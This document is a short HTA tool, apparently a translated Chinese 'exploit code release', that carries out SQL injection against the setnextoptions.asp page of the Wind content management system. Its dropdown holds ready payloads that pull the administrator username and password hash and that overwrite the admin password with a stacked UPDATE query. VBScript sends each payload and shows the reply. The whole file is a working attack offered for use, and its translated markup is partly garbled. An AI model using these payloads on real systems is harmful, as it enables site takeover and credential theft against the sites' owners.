Wind injection exp (HTA edition) code release _hta

<script language= "VBScript" >
Sub Window_onload
Window.resizeto 450,380
Window.moveto 300, 300
End Sub
</SCRIPT>

<script language= "VBScript" >
Function Gethttppage (Path)
t = GetBody (Path)
Gethttppage = Bytestobstr (t, "GB2312")
document.getElementById ("url"). innertext=gethttppage
End Function
</script>
<script language= "VBScript" >
Function getbody (URL)
On Error Resume Next
Set retrieval = CreateObject ("Microsoft.XMLHTTP")
With retrieval
. Open "Get", url, False, "", ""
. Send
GetBody =. Responsebody
End With
Set retrieval = Nothing
End Function

Function bytestobstr (body, Cset)
Dim objstream
Set objstream = CreateObject ("ADODB.stream")
Objstream. Type = 1
Objstream. Mode = 3
Objstream. Open
Objstream. Write body
Objstream. Position = 0
Objstream. Type = 2
Objstream. Charset = Cset
Bytestobstr = objstream. ReadText
Objstream. Close
Set objstream = Nothing
End Function

</script>

<title>by lcx</title>
<input id= "Urlcode" name= "Urlcode" "size=" value= "http://wind url/user/setnextoptions.asp" >
<select id= "SQL" name= "SQL" Onchange=vbs:gethttppage (document.getElementById ("Urlcode"). value+ document.getElementById ("SQL"). Value >
<option value= "" > Wind SQL Version injection, as for other backup shell statements lazy to write </option>
<option value= "? Equvalue=1&reqsql=select%201,admin_pass_word, 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 , 46,47,48,49,50,51%20from%20fs_mf_admin%20where%20id=1--")" > Mob admin Password </option>
<option value= "? Equvalue=1&reqsql=select%201,admin_name, 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 , 46,47,48,49,50,51%20from%20fs_mf_admin%20where%20id=1--")" > Mob Administrator username </option>
<option value= "? Equvalue=1&reqsql=select user;update fs_mf_admin set admin_pass_word= ' a0b923820dcc509a ' where id=1--' > Change Administrator password to 1</option>
</select>
<textarea id= "url" name= "url" rows= "8" cols= "></TEXTAREA>"